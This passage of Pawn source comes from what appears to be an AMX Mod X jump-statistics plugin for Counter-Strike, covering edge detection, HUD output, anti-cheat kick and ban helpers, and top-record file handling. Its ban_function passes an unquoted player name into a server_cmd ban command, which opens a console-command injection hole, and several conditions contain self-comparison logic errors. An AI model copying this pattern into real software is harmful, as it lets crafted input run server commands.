					find_sphere_class(id,"func_door", 48.0, bhop_block, 1, Float:{0.0, 0.0, 0.0} );
					
					if(bhop_block[0])
					{
						onbhopblock=true;
					}
					else
					{
						onbhopblock=false;
					}
					
					
					new Float:tmpblock[3],tmpjblock[3],Float:new_origin[3],Float:tmpOrigin[3], Float:tmpOrigin2[3];
						
					new_origin=jumpoff_origin[id];
					if(onbhopblock)
					{
						new_origin[2]=new_origin[2]-40.0;
					}
					else new_origin[2]=new_origin[2]-36.1;
					
					pev(id, pev_velocity, velocity);
					
					new block_checking[3];
					
					for(new i=0,j=-18;i<3;i++,j=j+18)
					{
						tmpOrigin=new_origin;
						tmpOrigin2=new_origin;
						tmpblock=new_origin;
						if(velocity[1]>0 && floatabs(velocity[1])>floatabs(velocity[0]))
						{
							tmpOrigin[1]=new_origin[1]+100;
							tmpOrigin2[1]=new_origin[1]-16;
							
							tmpOrigin[0]=tmpOrigin[0]+j;
							tmpOrigin2[0]=tmpOrigin2[0]+j;
							
							tmpblock[1]=new_origin[1]+uq_maxedge+1;
							tmpblock[0]=tmpblock[0]+j;
						}
						else if(velocity[1]<0 && floatabs(velocity[1])>floatabs(velocity[0]))
						{
							tmpOrigin[1]=new_origin[1]-100;
							tmpOrigin2[1]=new_origin[1]+16;
							
							tmpOrigin[0]=tmpOrigin[0]+j;
							tmpOrigin2[0]=tmpOrigin2[0]+j;
							
							tmpblock[1]=new_origin[1]-uq_maxedge+1;
							tmpblock[0]=tmpblock[0]+j;
						}
						else if(velocity[0]>0 && floatabs(velocity[0])>floatabs(velocity[1]))
						{
							tmpOrigin[0]=new_origin[0]+100;
							tmpOrigin2[0]=new_origin[0]-16;
							
							tmpOrigin[1]=tmpOrigin[1]+j;
							tmpOrigin2[1]=tmpOrigin2[1]+j;
							
							tmpblock[0]=new_origin[0]+uq_maxedge+1;
							tmpblock[1]=tmpblock[1]+j;
						}
						else if(velocity[0]<0 && floatabs(velocity[0])>floatabs(velocity[1]))
						{
							tmpOrigin[0]=new_origin[0]-100;
							tmpOrigin2[0]=new_origin[0]+16;
							
							tmpOrigin[1]=tmpOrigin[1]+j;
							tmpOrigin2[1]=tmpOrigin2[1]+j;
							
							tmpblock[0]=new_origin[0]-uq_maxedge+1;
							tmpblock[1]=tmpblock[1]+j;
						}
						
						new Float:tmpEdgeOrigin[3];
						
						engfunc(EngFunc_TraceLine,tmpOrigin,tmpOrigin2, IGNORE_GLASS, id, 0); 
						get_tr2( 0, TR_vecEndPos, tmpEdgeOrigin);
								
						if(get_distance_f(tmpEdgeOrigin,tmpOrigin2)!=0.0)
						{
							edgedist[id]=get_distance_f(tmpEdgeOrigin,tmpOrigin2)-0.031250;
						}
						
						new Float:tmpblockOrigin[3];
						
						engfunc(EngFunc_TraceLine,tmpEdgeOrigin,tmpblock, IGNORE_GLASS, id, 0); 
						get_tr2( 0, TR_vecEndPos, tmpblockOrigin);
						
						if(get_distance_f(tmpblockOrigin,tmpEdgeOrigin)!=0.0)
						{
							tmpjblock[i]=floatround(get_distance_f(tmpblockOrigin,tmpEdgeOrigin),floatround_floor)+1;
						}
						
						new Float:checkblock1[3],Float:checkblock2[3];
						tmpblockOrigin[2]=tmpblockOrigin[2]-1.0;
						
						checkblock1=tmpblockOrigin;
						
						if(velocity[1]>0 && floatabs(velocity[1])>floatabs(velocity[0]))
						{
							checkblock1[1]=checkblock1[1]+2.0;
						}
						else if(velocity[1]<0 && floatabs(velocity[1])>floatabs(velocity[0]))
						{
							checkblock1[1]=checkblock1[1]-2.0;
						}
						else if(velocity[0]>0 && floatabs(velocity[0])>floatabs(velocity[1]))
						{
							checkblock1[0]=checkblock1[0]+2.0;
						}
						else if(velocity[0]<0 && floatabs(velocity[0])>floatabs(velocity[1]))
						{
							checkblock1[0]=checkblock1[0]-2.0;
						}
						
						checkblock2=checkblock1;
						checkblock2[2]=checkblock2[2]+18.0;
						
						new Float:tmpcheckblock[3];
						engfunc(EngFunc_TraceLine,checkblock2,checkblock1, IGNORE_GLASS, id, 0); 
						get_tr2( 0, TR_vecEndPos, tmpcheckblock);
						
						if(floatabs(tmpblockOrigin[2]-tmpcheckblock[2])==0.0)
						{
							block_checking[i]=1;
						}
						
						edgedone[id]=true;
					}
					
					if(tmpjblock[0]!=0 && tmpjblock[0]<=tmpjblock[1] && tmpjblock[0]<=tmpjblock[2])
					{
						if(!block_checking[0])
							jumpblock[id]=tmpjblock[0];
					}
					else if(tmpjblock[1]!=0 && tmpjblock[1]<=tmpjblock[2] && tmpjblock[0]<=tmpjblock[0])
					{
						if(!block_checking[1])
							jumpblock[id]=tmpjblock[1];
					}
					else if(tmpjblock[2]!=0 && tmpjblock[2]<=tmpjblock[1] && tmpjblock[0]<=tmpjblock[0])
					{
						if(!block_checking[2])
							jumpblock[id]=tmpjblock[2];
					}
					else jumpblock[id]=0;
					
					if(equali(mapname,"prochallenge_longjump"))
					{
						jumpblock[id]=jumpblock[id]-1;
					}
					
					new h_jof;
					
					if(jofon[id])
					{
						h_jof=h_speed;
					}
					else h_jof=4;
					
					for( new i = INFO_ONE; i < max_players; i++ )
					{
						if( (i == id || is_spec_user[i]))
						{	
							if(edgedist[i]!=0.0 && (showjofon[i] || jofon[id])) 
							{
								if(edgedist[i]>5.0)
								{
									set_hudmessage(255, 255, 255, -1.0, 0.6, 0, 0.0, 0.7, 0.0, 0.0, h_jof);
								}
								else
								{
									set_hudmessage(255, 0, 0, -1.0, 0.6, 0, 0.0, 0.7, 0.0, 0.0, h_jof);
								}
								show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_JOF", edgedist[id]);
							}
						}
					}
				}
				
				new Float:checkfall;
				if(jump_type[id]==Type_Drop_CountJump)
				{
					checkfall=0.5;
				}
				else checkfall=0.4;
				
				if(flags&FL_ONGROUND && firstfall_ground[id]==true && get_gametime()-FallTime1[id]>checkfall)
				{
					touch_ent[id]=false;		
					JumpReset(id,26);
					dropbhop[id]=false;
					ddnum[id]=0;
					x_jump[id]=false;
					firstfall_ground[id]=false;
					in_ladder[id]=false;
					nextbhop[id]=false;
					bhopaem[id]=false;
					UpcjFail[id]=false;
					slide_protec[id]=false;
					backwards[id]=false;
					ladderbug[id]=false;
					find_ladder[id]=false;
					touch_somthing[id]=false;
					duckbhop[id]=false;
					dropupcj[id]=false;
					ddstandcj[id]=false;
					ddforcjafterbhop[id]=false;
					ddforcjafterladder[id]=false;
					//if(donehook[id]) ColorChat(id, RED, "reset ground %d %f",jump_type[id],get_gametime()-FallTime1[id]);
					return FMRES_IGNORED;
				}
				
				if(flags&FL_ONGROUND && firstfall_ground[id]==false)
				{
					FallTime1[id]=get_gametime();
					firstfall_ground[id]=true;
				}
				else if(!(flags&FL_ONGROUND) && firstfall_ground[id]==true)
				{
					firstfall_ground[id]=false;
				}
				
				if(flags&FL_ONGROUND && donehook[id] && hookcheck[id]==false)
				{
					timeonground[id]=get_gametime();
					hookcheck[id]=true;
				}
				else if(!(flags&FL_ONGROUND) && donehook[id] && hookcheck[id])
				{
					timeonground[id]=get_gametime()-timeonground[id];
					hookcheck[id]=false;
					
					if(timeonground[id]>0.4)
					donehook[id]=false;
				}
			}
		}
	}
	return FMRES_IGNORED;
}
public kick_function(id,j_type_str[])
{
	new szReason[64];
	formatex(szReason,63,"%L",LANG_SERVER,"UQSTATS_KICKREASON",j_type_str);
	
	emessage_begin( MSG_ONE, SVC_DISCONNECT, _, id );
	ewrite_string( szReason );
	emessage_end( );
}
public ban_function(id,j_type_str[])
{
	new szReason[64];
	formatex(szReason,63,"%s_script",j_type_str);
	
	new ban_authid[64];
	
	switch(uq_ban_authid)
	{
		case 0:
			get_user_name(id,ban_authid,63);
		case 1:
			get_user_ip(id,ban_authid,63,1);
		case 2:
			get_user_authid(id,ban_authid,63);
	}	
	
	switch(uq_ban_type)
	{
		case 0:
		{
			switch(uq_ban_authid)
			{
				case 0:
					server_cmd("amx_ban %s %d %s",ban_authid,uq_ban_minutes,szReason);
				case 1:
					server_cmd("amx_addban %s %d %s",ban_authid,uq_ban_minutes,szReason);
				case 2:
					server_cmd("amx_addban ^"%s^" %d %s",ban_authid,uq_ban_minutes,szReason);
			}
		}
		case 1:
		{
			if(uq_ban_authid==2)
				server_cmd("amx_ban %d ^"%s^" %s",uq_ban_minutes,ban_authid,szReason);
			else if(uq_ban_authid==1 && uq_ban_authid==0)
				server_cmd("amx_ban %d %s %s",uq_ban_minutes,ban_authid,szReason);
		}
	}
}
public ScreenShoot(id)
{
	id=id-15237;
	client_cmd(id,"snapshot");
}

public HamTouch( id, entity )
{
	if ( g_alive[id] )
	{
		static Float:Vvelocity[3];
		pev(id, pev_velocity, Vvelocity);
		if(!equali(mapname,"slide_gs_longjumps") && !equali(mapname,"b2j_slide_longjumps"))
		{
			if(g_Jumped[id] && !(pev(id, pev_flags)&FL_ONGROUND) && floatround(Vvelocity[2], floatround_floor) < 0)
			{
				touch_somthing[id]=true;
			}
		}
	}
}
public fwdTouch(ent, id)
{
	static ClassName[32];
	if( pev_valid(ent) )
	{
		pev(ent, pev_classname, ClassName, 31);
	}
	
	static ClassName2[32];
	if( valid_id(id) )
	{
		pev(id, pev_classname, ClassName2, 31);
	}
	if( equali(ClassName2, "player") )
	{
		if( equali(ClassName, "func_train")
			|| equali(ClassName, "func_conveyor") 
			|| equali(ClassName, "trigger_push") || equali(ClassName, "trigger_gravity"))
		{
			if(valid_id(id))
			{
				touch_ent[id]=true;
				trigger_protection[id]=true;
				JumpReset(id,41);
				set_task(0.4,"JumpReset1", id);
			}
		}
	}
}

////////////////////////////////////////Save Tops///////////////////////////////////
public save_tops(type[],type_num,tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_maxspeed[NTOP+1],tmp_prestrafe[NTOP+1],tmp_strafes[NTOP+1],tmp_sync[NTOP+1],tmp_ddbh[NTOP+1])
{
	new profile[128];
	formatex(profile, 127, "%s/Top10_%s.dat", ljsDir,type);
	
	if( file_exists(profile) )
	{
		delete_file(profile);
	}
	new Data[256];
	new f = fopen(profile, "at");
	for(new i = 0; i < NTOP; i++)
	{
		new Trie:JumpStat;
		JumpStat = TrieCreate();
		
		TrieSetString(JumpStat, "name", tmp_names[i]);
		TrieSetString(JumpStat, "authid", tmp_ip[i]);
		TrieSetCell(JumpStat, "distance", tmp_distance[i]);
		TrieSetCell(JumpStat, "maxspeed", tmp_maxspeed[i]);
		TrieSetCell(JumpStat, "prestrafe", tmp_prestrafe[i]);
		TrieSetCell(JumpStat, "strafes", tmp_strafes[i]);
		TrieSetCell(JumpStat, "sync", tmp_sync[i]);
		
		if(type_num==21 || type_num==22 || type_num==23 || type_num==24 || type_num==25)
		{
			TrieSetCell(JumpStat, "ddbh", tmp_ddbh[i]);
			formatex(Data, 255, "^"%s^" ^"%s^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%d^"^n",tmp_names[i],tmp_ip[i], tmp_distance[i],tmp_maxspeed[i],tmp_prestrafe[i],tmp_strafes[i],tmp_sync[i],tmp_ddbh[i]);	
		}
		else formatex(Data, 255, "^"%s^" ^"%s^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%d^"^n",tmp_names[i],tmp_ip[i], tmp_distance[i],tmp_maxspeed[i],tmp_prestrafe[i],tmp_strafes[i],tmp_sync[i]);
		fputs(f, Data);
		
		new tmp_type[33];
		format(tmp_type, 32, "%s_%d_250", type, i);

		TrieSetCell(JData, tmp_type, JumpStat);
	}
	fclose(f);
}
public save_tops_block(type[],type_num,tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_block[NTOP+1],Float:tmp_jumpoff[NTOP+1])
{
	new profile[128];
	formatex(profile, 127, "%s/block20_%s.dat", ljsDir_block,type);
	
	if( file_exists(profile) )
	{
		delete_file(profile);
	}
	new Data[256];
	new f = fopen(profile, "at");
	for(new i = 0; i < NTOP; i++)
	{
		new Trie:JumpStat;
		JumpStat = TrieCreate();
		
		TrieSetString(JumpStat, "name", tmp_names[i]);
		TrieSetString(JumpStat, "authid", tmp_ip[i]);
		TrieSetCell(JumpStat, "distance", tmp_distance[i]);
		TrieSetCell(JumpStat, "block", tmp_block[i]);
		TrieSetCell(JumpStat, "jumpoff", tmp_jumpoff[i]);
		
		new tmp_type[33];
		format(tmp_type, 32, "block_%s_%d_250", type, i);

		TrieSetCell(JData_Block, tmp_type, JumpStat);
		
		formatex(Data, 255, "^"%s^" ^"%s^" ^"%d^" ^"%d^" ^"%f^"^n",tmp_names[i],tmp_ip[i],tmp_block[i],tmp_distance[i],tmp_jumpoff[i]);
		fputs(f, Data);
	}
	fclose(f);
}
public save_tops_block_weapon(type[],type_num,wpn_rank,tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_block[NTOP+1],Float:tmp_jumpoff[NTOP+1],tmp_weap_name[NTOP+1][33])
{
	new profile[128];
	formatex(profile, 127, "%s/block20_%s.dat", ljsDir_block_weapon[wpn_rank],type);
	
	if( file_exists(profile) )
	{
		delete_file(profile);
	}
	new Data[256];
	new f = fopen(profile, "at");
	for(new i = 0; i < NTOP; i++)
	{
		new Trie:JumpStat;
		JumpStat = TrieCreate();
		
		TrieSetString(JumpStat, "name", tmp_names[i]);
		TrieSetString(JumpStat, "authid", tmp_ip[i]);
		TrieSetCell(JumpStat, "distance", tmp_distance[i]);
		TrieSetCell(JumpStat, "block", tmp_block[i]);
		TrieSetCell(JumpStat, "jumpoff", tmp_jumpoff[i]);
		TrieSetCell(JumpStat, "pspeed", weapon_maxspeed(wpn_rank));
		TrieSetString(JumpStat, "wpn_name", tmp_weap_name[i]);
		
		new tmp_type[33];
		format(tmp_type, 32, "block_%s_%d_%d", type, i,weapon_maxspeed(wpn_rank));

		TrieSetCell(JData_Block, tmp_type, JumpStat);
		
		formatex(Data, 255, "^"%s^" ^"%s^" ^"%d^" ^"%d^" ^"%f^" ^"%s^"^n",tmp_names[i],tmp_ip[i],tmp_block[i],tmp_distance[i],tmp_jumpoff[i],tmp_weap_name[i]);
		fputs(f, Data);
	}
	fclose(f);
}
public save_tops_weapon(type[],type_num,wpn_rank,tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_maxspeed[NTOP+1],tmp_prestrafe[NTOP+1],tmp_strafes[NTOP+1],tmp_sync[NTOP+1],tmp_weap_name[NTOP+1][33])
{
	new profile[128];

	formatex(profile, 127, "%s/Top10_%s.dat",ljsDir_weapon[wpn_rank],type);

	if( file_exists(profile) )
	{
		delete_file(profile);
	}
	new Data[256];
	new f = fopen(profile, "at");
	for(new i = 0; i < NTOP; i++)
	{
		new Trie:JumpStat;
		JumpStat = TrieCreate();
		
		TrieSetString(JumpStat, "name", tmp_names[i]);
		TrieSetString(JumpStat, "authid", tmp_ip[i]);
		TrieSetCell(JumpStat, "distance", tmp_distance[i]);
		TrieSetCell(JumpStat, "maxspeed", tmp_maxspeed[i]);
		TrieSetCell(JumpStat, "prestrafe", tmp_prestrafe[i]);
		TrieSetCell(JumpStat, "strafes", tmp_strafes[i]);
		TrieSetCell(JumpStat, "sync", tmp_sync[i]);
		TrieSetCell(JumpStat, "pspeed", weapon_maxspeed(wpn_rank));
		TrieSetString(JumpStat, "wpn_name", tmp_weap_name[i]);
		
		new tmp_type[33];
		format(tmp_type, 32, "%s_%d_%d", type, i,weapon_maxspeed(wpn_rank));

		TrieSetCell(JData, tmp_type, JumpStat);
		
		formatex(Data, 255, "^"%s^" ^"%s^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%s^"^n",tmp_names[i],tmp_ip[i], tmp_distance[i],tmp_maxspeed[i],tmp_prestrafe[i],tmp_strafes[i],tmp_sync[i],tmp_weap_name[i]);
		fputs(f, Data);
	}
	fclose(f);
}
public save_maptop()
{
	new profile[128];
	formatex(profile, 127, "%s/Top10_maptop.dat", ljsDir);
	
	if( file_exists(profile) )
	{
		delete_file(profile);
	}
	new Data[256];
	new f = fopen(profile, "at");
	for(new i = 0; i < NTOP; i++)
	{
		formatex(Data, 255, "^"%s^" ^"%s^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%s^"^n",map_names[i],map_ip[i], map_dist[i],map_maxsped[i],map_prestr[i],map_streif[i],map_syncc[i],map_type[i]);
		fputs(f, Data);
	}
	fclose(f);
}
////////////////////////////////////////Read Tops///////////////////////////////////
public read_tops(type[],type_num)
{
	new profile[128],prodata[256];
	formatex(profile, 127, "%s/Top10_%s.dat", ljsDir,type);
	
	new tmp_names[33],tmp_ip[33];

	new f = fopen(profile, "rt" );
	new i = 0;
	while( !feof(f) && i < (NTOP))
	{
		new Trie:JumpStat;
		JumpStat = TrieCreate();
		
		fgets(f, prodata, 255);
		new d[25], m[25], p[25], sf[25],s[25];
		new duk[25];
		
		if(type_num==21 || type_num==22 || type_num==23 || type_num==24 || type_num==25)
		{
			parse(prodata, tmp_names, 32, tmp_ip, 32,  d, 25, m, 25, p, 25, sf, 25,s, 25, duk, 25);	
		}
		else 
		{
			parse(prodata, tmp_names, 32, tmp_ip, 32,  d, 25, m, 25, p, 25, sf, 25,s, 25);	
		}
				
		TrieSetString(JumpStat, "name", tmp_names);
		TrieSetString(JumpStat, "authid", tmp_ip);
		TrieSetCell(JumpStat, "distance", str_to_num(d));
		TrieSetCell(JumpStat, "maxspeed", str_to_num(m));
		TrieSetCell(JumpStat, "prestrafe", str_to_num(p));
		TrieSetCell(JumpStat, "strafes", str_to_num(sf));
		TrieSetCell(JumpStat, "sync", str_to_num(s));
		
		if(type_num==21 || type_num==22 || type_num==23 || type_num==24 || type_num==25)
		{
			TrieSetCell(JumpStat, "ddbh", str_to_num(duk));
		}
		
		new tmp_type[33];
		format(tmp_type, 32, "%s_%d_250", type, i);

		TrieSetCell(JData, tmp_type, JumpStat);
		
		i++;
	}
	fclose(f);
}
public read_tops_block(type[],type_num)
{
	new profile[128],prodata[256];
	
	if(type_num==6)
	{
		formatex(profile, 127, "%s/block20_hj.dat", ljsDir_block);	
	}
	else formatex(profile, 127, "%s/block20_%s.dat", ljsDir_block,type);
	
	new tmp_names[33],tmp_ip[33];
	
	new f = fopen(profile, "rt" );
	new i = 0;
	
	while( !feof(f) && i < (NTOP))
	{
		new Trie:JumpStat;
		JumpStat = TrieCreate();
		
		fgets(f, prodata, 255);
		new d[25], b[25], j[25];
		
		parse(prodata, tmp_names, 32, tmp_ip, 32,  b, 25, d, 25, j, 25);
		
		TrieSetString(JumpStat, "name", tmp_names);
		TrieSetString(JumpStat, "authid", tmp_ip);
		TrieSetCell(JumpStat, "block", str_to_num(b));
		TrieSetCell(JumpStat, "distance", str_to_num(d));
		TrieSetCell(JumpStat, "jumpoff", str_to_float(j));
		
		
		new tmp_type[33];
		if(type_num==6)
		{
			format(tmp_type, 32, "block_hj_%d_250", i);
		}
		else format(tmp_type, 32, "block_%s_%d_250", type, i);

		TrieSetCell(JData_Block, tmp_type, JumpStat);
		i++;
	}
	fclose(f);
}
public read_tops_block_weapon(type[],type_num,wpn_rank)
{
	new profile[128],prodata[256];
	
	if(type_num==9)
	{
		formatex(profile, 127, "%s/block20_hj.dat", ljsDir_block_weapon[wpn_rank]);	
	}
	else formatex(profile, 127, "%s/block20_%s.dat", ljsDir_block_weapon[wpn_rank],type);
	
	new tmp_names[33],tmp_ip[33],tmp_weap_name[33];
	
	new f = fopen(profile, "rt" );
	new i = 0;
	
	while( !feof(f) && i < (NTOP))
	{
		new Trie:JumpStat;
		JumpStat = TrieCreate();
		
		fgets(f, prodata, 255);
		new d[25], b[25], j[25];
		
		parse(prodata, tmp_names, 32, tmp_ip, 32,  b, 25, d, 25, j, 25,tmp_weap_name,32);
		
		TrieSetString(JumpStat, "name", tmp_names);
		TrieSetString(JumpStat, "authid", tmp_ip);
		TrieSetCell(JumpStat, "block", str_to_num(b));
		TrieSetCell(JumpStat, "distance", str_to_num(d));
		TrieSetCell(JumpStat, "jumpoff", str_to_float(j));
		TrieSetCell(JumpStat, "pspeed", weapon_maxspeed(wpn_rank));
		TrieSetString(JumpStat, "wpn_name", tmp_weap_name);
		
		new tmp_type[33];
		format(tmp_type, 32, "block_%s_%d_%d", type, i,weapon_maxspeed(wpn_rank));

		TrieSetCell(JData_Block, tmp_type, JumpStat);
		i++;
	}
	fclose(f);
}
public read_tops_weapon(type[],type_num,wpn_rank)
{	
	new profile[128],prodata[256];

	formatex(profile, 127, "%s/Top10_%s.dat",ljsDir_weapon[wpn_rank],type);
	
	new f = fopen(profile, "rt" );
	new i = 0;
	new tmp_names[33],tmp_ip[33],tmp_weap_name[33];
	
	while( !feof(f) && i < (NTOP))
	{
		new Trie:JumpStat;
		JumpStat = TrieCreate();
		
		fgets(f, prodata, 255);
		new d[25], m[25], p[25], sf[25],s[25];
		
		parse(prodata, tmp_names, 32, tmp_ip, 32,  d, 25, m, 25, p, 25, sf, 25,s, 25,tmp_weap_name,32);
		
		TrieSetString(JumpStat, "name", tmp_names);
		TrieSetString(JumpStat, "authid", tmp_ip);
		TrieSetString(JumpStat, "wpn_name", tmp_weap_name);
		TrieSetCell(JumpStat, "distance", str_to_num(d));
		TrieSetCell(JumpStat, "maxspeed", str_to_num(m));
		TrieSetCell(JumpStat, "prestrafe", str_to_num(p));
		TrieSetCell(JumpStat, "strafes", str_to_num(sf));
		TrieSetCell(JumpStat, "sync", str_to_num(s));
		TrieSetCell(JumpStat, "pspeed", weapon_maxspeed(wpn_rank));
		
		
		new tmp_type[33];
		format(tmp_type, 32, "%s_%d_%d", type, i,weapon_maxspeed(wpn_rank));
		
		TrieSetCell(JData, tmp_type, JumpStat);
		i++;
	}
	fclose(f);
}
////////////////////////////////////////Sort Tops///////////////////////////////////
public checktops1(id,type[],type_num,Float:dd,Float:mm,Float:pp,sf,s) 
{	
	new d,m,p,rb[64];
	
	d=floatround(dd*1000000);// todo: zdelat poproshe)
	m=floatround(mm*1000000);
	p=floatround(pp*1000000);
	
	switch(rankby) {
		case 0: {
			formatex(rb, 63, "%s", g_playername[id]);
		}
		case 1: {
			formatex(rb, 63, "%s", g_playerip[id]);
		}
		case 2: {
			formatex(rb, 63, "%s", g_playersteam[id]);
		}
	}
	
	new tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_maxspeed[NTOP+1],tmp_prestrafe[NTOP+1],tmp_strafes[NTOP+1],tmp_sync[NTOP+1];
		
	for (new i = 0; i < NTOP; i++)
	{
		new Trie:JS;
		new tmp_type[33];
	
		format(tmp_type, 32, "%s_%d_250", type, i);
		
		if(TrieKeyExists(JData, tmp_type))
		{	
			TrieGetCell(JData, tmp_type, JS);
			
			TrieGetString(JS,"name",tmp_names[i],32);
			TrieGetString(JS,"authid",tmp_ip[i],32);
			TrieGetCell(JS, "distance", tmp_distance[i]);
			TrieGetCell(JS, "maxspeed", tmp_maxspeed[i]);
			TrieGetCell(JS, "prestrafe", tmp_prestrafe[i]);
			TrieGetCell(JS, "strafes", tmp_strafes[i]);
			TrieGetCell(JS, "sync", tmp_sync[i]);
			
		}
		//server_print("%s",tmp_ip[i]);
	}
	
	for (new i = 0; i < NTOP; i++)
	{
		if( d > tmp_distance[i] )
		{
			new pos = i;	
			while( !equali(tmp_ip[pos], rb) && pos < NTOP )
			{
				pos++;
			}
			
			for (new j = pos; j > i; j--)
			{
				formatex(tmp_ip[j], 32, tmp_ip[j-1]);
				formatex(tmp_names[j], 32, tmp_names[j-1]);
				tmp_distance[j] = tmp_distance[j-1];
				tmp_maxspeed[j] = tmp_maxspeed[j-1];
				tmp_prestrafe[j] = tmp_prestrafe[j-1];
				tmp_strafes[j] = tmp_strafes[j-1];
				tmp_sync[j] = tmp_sync[j-1];
			}
			
			formatex(tmp_ip[i], 32, rb);
			formatex(tmp_names[i], 32, g_playername[id]);
			tmp_distance[i]=d;
			tmp_maxspeed[i] = m;
			tmp_prestrafe[i] = p;
			tmp_strafes[i] = sf;
			tmp_sync[i] = s;
			
			new tmp_ddbh[NTOP+1];
			save_tops(type,type_num,tmp_names,tmp_ip,tmp_distance,tmp_maxspeed,tmp_prestrafe,tmp_strafes,tmp_sync,tmp_ddbh);
			
			client_print(0,print_chat,"%L",LANG_SERVER,"UQSTATS_PRINTTOP1",prefix,g_playername[id],(i+1),type,dd);				
			
			if((i+1)<11 && uq_screen==1)
			{
				set_task(0.1,"ScreenShoot", id+15237);
			}
			break;
		}
		else if( equali(tmp_ip[i], rb)) break;	
	}
}

public checktops2(id,type[],type_num,Float:dd,Float:mm,Float:pp,sf,s,duk) 
{	
	new d,m,p,rb[64];
	
	d=floatround(dd*1000000);// todo: zdelat poproshe)
	m=floatround(mm*1000000);
	p=floatround(pp*1000000);
	
	switch(rankby) {
		case 0: {
			formatex(rb, 63, "%s", g_playername[id]);
		}
		case 1: {
			formatex(rb, 63, "%s", g_playerip[id]);
		}
		case 2: {
			formatex(rb, 63, "%s", g_playersteam[id]);
		}
	}
	
	new tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_maxspeed[NTOP+1],tmp_prestrafe[NTOP+1],tmp_strafes[NTOP+1],tmp_sync[NTOP+1],tmp_ddbh[NTOP+1];
		
	for (new i = 0; i < NTOP; i++)
	{
		new Trie:JS;
		new tmp_type[33];
	
		format(tmp_type, 32, "%s_%d_250", type, i);
		
		if(TrieKeyExists(JData, tmp_type))
		{	
			TrieGetCell(JData, tmp_type, JS);
			
			TrieGetString(JS,"name",tmp_names[i],32);
			TrieGetString(JS,"authid",tmp_ip[i],32);
			TrieGetCell(JS, "distance", tmp_distance[i]);
			TrieGetCell(JS, "maxspeed", tmp_maxspeed[i]);
			TrieGetCell(JS, "prestrafe", tmp_prestrafe[i]);
			TrieGetCell(JS, "strafes", tmp_strafes[i]);
			TrieGetCell(JS, "sync", tmp_sync[i]);
			TrieGetCell(JS, "ddbh", tmp_ddbh[i]);
		}
	}
	
	for (new i = 0; i < NTOP; i++)
	{
		if( d > tmp_distance[i] )
		{
			new pos = i;	
			while( !equali(tmp_ip[pos], rb) && pos < NTOP )
			{
				pos++;
			}
			
			for (new j = pos; j > i; j--)
			{
				formatex(tmp_ip[j], 32, tmp_ip[j-1]);
				formatex(tmp_names[j], 32, tmp_names[j-1]);
				tmp_distance[j] = tmp_distance[j-1];
				tmp_maxspeed[j] = tmp_maxspeed[j-1];
				tmp_prestrafe[j] = tmp_prestrafe[j-1];
				tmp_strafes[j] = tmp_strafes[j-1];
				tmp_sync[j] = tmp_sync[j-1];
				tmp_ddbh[j] = tmp_ddbh[j-1];
			}
			
			formatex(tmp_ip[i], 32, rb);
			formatex(tmp_names[i], 32, g_playername[id]);
			tmp_distance[i]=d;
			tmp_maxspeed[i] = m;
			tmp_prestrafe[i] = p;
			tmp_strafes[i] = sf;
			tmp_sync[i] = s;
			tmp_ddbh[i] = duk;
			
			save_tops(type,type_num,tmp_names,tmp_ip,tmp_distance,tmp_maxspeed,tmp_prestrafe,tmp_strafes,tmp_sync,tmp_ddbh);
			
			client_print(0,print_chat,"%L",LANG_SERVER,"UQSTATS_PRINTTOP1",prefix,g_playername[id],(i+1),type,dd);				
			
			if((i+1)<11 && uq_screen==1)
			{
				set_task(0.1,"ScreenShoot", id+15237);
			}
			break;
		}
		else if( equali(tmp_ip[i], rb)) break;	
	}
}
public checktops_block(id,type[],type_num,Float:dd,Float:jj,bb) 
{	
	new d,rb[64];
	
	d=floatround(dd*1000000);// todo: zdelat poproshe)
	
	switch(rankby) {
		case 0: {
			formatex(rb, 63, "%s", g_playername[id]);
		}
		case 1: {
			formatex(rb, 63, "%s", g_playerip[id]);
		}
		case 2: {
			formatex(rb, 63, "%s", g_playersteam[id]);
		}
	}
	
	new tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_block[NTOP+1],Float:tmp_jumpoff[NTOP+1];
		
	for (new i = 0; i < NTOP; i++)
	{
		new Trie:JS;
		new tmp_type[33];
	
		format(tmp_type, 32, "block_%s_%d_250", type, i);
		
		if(TrieKeyExists(JData_Block, tmp_type))
		{	
			TrieGetCell(JData_Block, tmp_type, JS);
			
			TrieGetString(JS,"name",tmp_names[i],32);
			TrieGetString(JS,"authid",tmp_ip[i],32);
			TrieGetCell(JS, "distance", tmp_distance[i]);
			TrieGetCell(JS, "block", tmp_block[i]);
			TrieGetCell(JS, "jumpoff", tmp_jumpoff[i]);
		}
	}
	
	
	new tmp_dist;
	for (new j = 0; j < NTOP; j++)
	{	
		if(bb==tmp_block[j] && equali(tmp_ip[j],rb))
		{
			tmp_dist=tmp_distance[j];
			break;
		}
		else tmp_dist=0;
	}
	
	for (new i = 0; i < NTOP; i++)
	{
		if( bb >= tmp_block[i] && d>tmp_dist)
		{
			new pos = i;	
			while( !equali(tmp_ip[pos],rb) && pos < NTOP )
			{
				pos++;
			}
			
			for (new j = pos; j > i; j--)
			{
				formatex(tmp_ip[j], 32, tmp_ip[j-1]);
				formatex(tmp_names[j], 32, tmp_names[j-1]);
				tmp_distance[j] = tmp_distance[j-1];
				tmp_block[j] = tmp_block[j-1];
				tmp_jumpoff[j] = tmp_jumpoff[j-1];
			}
			
			formatex(tmp_ip[i], 32, rb);
			formatex(tmp_names[i], 32, g_playername[id]);
			tmp_distance[i]=d;
			tmp_block[i] = bb;
			tmp_jumpoff[i] = jj;
			
			
			new oldBlock,start_array;
			oldBlock=tmp_block[0];
			start_array=0;
			
			for (new ii = 0; ii < NTOP; ii++)
			{
				if(tmp_block[ii]!=oldBlock)
				{
					new bool:check=true;
					while(check)
					{
						check=false;
						for(new jjj=start_array;jjj<ii-1;jjj++)
						{
